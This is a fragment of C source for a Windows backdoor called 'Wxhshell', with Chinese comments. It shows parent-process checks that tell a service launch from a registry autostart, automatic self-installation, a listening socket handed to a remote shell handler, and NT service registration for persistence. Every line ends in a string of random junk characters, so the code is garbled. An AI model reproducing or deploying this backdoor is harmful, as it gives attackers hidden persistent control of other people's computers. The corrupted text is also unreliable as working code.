DWORD BasePriority; Awe'MG p%
ULONG UniqueProcessId; x\pygzQ/
ULONG InheritedFromUniqueProcessId; :=\`P
} PROCESS_BASIC_INFORMATION; d?><+!a
|nY+Nen7
PROCNTQSIP NtQueryInformationProcess; ~?B\+6<V
#J~xKyJi'
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;}'Z2gZB
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; rEoOv
0yxwsBLy
HANDLE hProcess; @B9#Hrc
PROCESS_BASIC_INFORMATION pbi; w:2yFC
]W7&ZpF
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Si68_]:^
if(NULL == hInst ) return 0; n/^QPR$>.
} [OEtd{
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); H>wXQ5 ?W;
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); D0yH2[j+
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); T#a6X;9P
S"/gZfxer
if (!NtQueryInformationProcess) return 0; :Yn{:%p
\wV ?QH
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); tD])&0"(
if(!hProcess) return 0; - XB[2h
A:*$r Hbzl
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Lbu,VX
Vk%W4P"l
CloseHandle(hProcess); j#${L6
&Qt1~#1
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); R^rA.7T
if(hProcess==NULL) return 0; ).jna`A,
qot{#tk
d
HMODULE hMod; w[J.?v&^
char procName[255];
(Kj>Ao
unsigned long cbNeeded; :-~x~ah-
KJ_L>$
]*
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9g7Ok9dF
8KWhXF
CloseHandle(hProcess); |`Be(
qG0gc\C}
if(strstr(procName,"services")) return 1; // 以服务启动 c3Zwp%
i|fkwV,5
return 0; // 注册表启动 >HRLL\u9
} iBCIJ!;
V,eH E5C
// 主模块 e)oi3d.wJf
int StartWxhshell(LPSTR lpCmdLine) \oO&c
{ F2v9XMi
SOCKET wsl; \ $
:)Ka
BOOL val=TRUE; .&/A!3pW
int port=0; xt8@l
[Z
struct sockaddr_in door; 9\i^.2&
9 'IDbe{
if(wscfg.ws_autoins) Install(); ^@]yiED{g
#Q%0y^s
port=atoi(lpCmdLine); ~AR0 ,lak
Q#Xa]A-
if(port<=0) port=wscfg.ws_port; 94.M8
z_a7HCG2
WSADATA data; i>;6Z s>S
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; C12y_E8Un
Hzc^fC
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; jxnb<!|?H@
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); tfjb G;R
door.sin_family = AF_INET; +N!/>w]n
door.sin_addr.s_addr = inet_addr("127.0.0.1"); |sDp>..
door.sin_port = htons(port); sJ|IW0Mr
7/BA!V(na
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }:+P{
closesocket(wsl); a!:R_P}7
return 1; Ls NJ3oy
} HA.
O"A8`
bc\?y2
3
if(listen(wsl,2) == INVALID_SOCKET) { ~q{QquYV
closesocket(wsl); }j,G)\g#
return 1; n7d`J_%s
} Yq:TWeZD
Wxhshell(wsl); e{0O"Jd`
WSACleanup(); _x?S0R1
m\ /V 0V\
return 0; \>4x7mF!
NjSjE_S2B8
} Fprhu;h
ni3A+Y0
// 以NT服务方式启动 =Lr#
*ep[
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >{juw&Uu
{ J+*n}He,
DWORD status = 0; 8C2!Wwz`J8
DWORD specificError = 0xfffffff; VB{G%!}
Fr9_!f
serviceStatus.dwServiceType = SERVICE_WIN32; FBrJVaF
serviceStatus.dwCurrentState = SERVICE_START_PENDING; el,n5OZ7
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 6}PoBhgSg-
serviceStatus.dwWin32ExitCode = 0; )>a^%V9
serviceStatus.dwServiceSpecificExitCode = 0; fhe%5#3
serviceStatus.dwCheckPoint = 0; 2graLJ?9Z
serviceStatus.dwWaitHint = 0; 9_pOV%Qs
P87qUC
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 6Q9S~YYq
if (hServiceStatusHandle==0) return; Q |^c5
b=Y3O
status = GetLastError(); )nUTux0K\
if (status!=NO_ERROR) Y--Uo|H
{ xsXf_gGu
serviceStatus.dwCurrentState = SERVICE_STOPPED; )"<:Md$7
serviceStatus.dwCheckPoint = 0; p\M\mK
serviceStatus.dwWaitHint = 0; c (0Ez@
serviceStatus.dwWin32ExitCode = status; 1 *$-.
serviceStatus.dwServiceSpecificExitCode = specificError; 5[$jrG\!
SetServiceStatus(hServiceStatusHandle, &serviceStatus); >]WQ1E[=
return; 5K?%Eo72!=
} +)TOcxF%
yy|F6Pq3`
serviceStatus.dwCurrentState = SERVICE_RUNNING; AN-;*n<'
serviceStatus.dwCheckPoint = 0; @KC;"u'C
serviceStatus.dwWaitHint = 0; R8R,!3 N
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); <4P"1#nHQ+
} u\|Ys
0"$'1g^]7
// 处理NT服务事件,比如:启动、停止 /<oBgFMoJ
VOID WINAPI NTServiceHandler(DWORD fdwControl) G7H'OB
&
{ rfxLCiV
switch(fdwControl) )wz3m L
{ )F4P-u
case SERVICE_CONTROL_STOP: 6B>H75S+H
serviceStatus.dwWin32ExitCode = 0; /h73'"SpDy
serviceStatus.dwCurrentState = SERVICE_STOPPED; Iw) 'Yyg
serviceStatus.dwCheckPoint = 0; qluaop
serviceStatus.dwWaitHint = 0; HCKj8-*
{ Oe}6jcb6&
SetServiceStatus(hServiceStatusHandle, &serviceStatus); bn<}
} {V~Gr
return; 5R7DD 5c[
case SERVICE_CONTROL_PAUSE: _ ?Z :m
serviceStatus.dwCurrentState = SERVICE_PAUSED; Md ,KW#
break; *>p#/'_E
case SERVICE_CONTROL_CONTINUE: #:3~I
serviceStatus.dwCurrentState = SERVICE_RUNNING; Ie8jBf -
break; fQOh%i9n5
case SERVICE_CONTROL_INTERROGATE: :i:M7 }r
break; IEW[VU)
}; | WMq&-$D
SetServiceStatus(hServiceStatusHandle, &serviceStatus); F^|4nBd*ub
} T)PH8 "
}N<> z
// 标准应用程序主函数 iu6NIy7D
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $N)b6(}F10
{ O*7`Waag
Vy[ m%sEP
// 获取操作系统版本 |#=4]]>m
OsIsNt=GetOsVer(); knJoVo]
GetModuleFileName(NULL,ExeFile,MAX_PATH); }~`l!ApD
Rck k
// 从命令行安装 )X-/0G=N-
if(strpbrk(lpCmdLine,"iI")) Install(); "kT?9&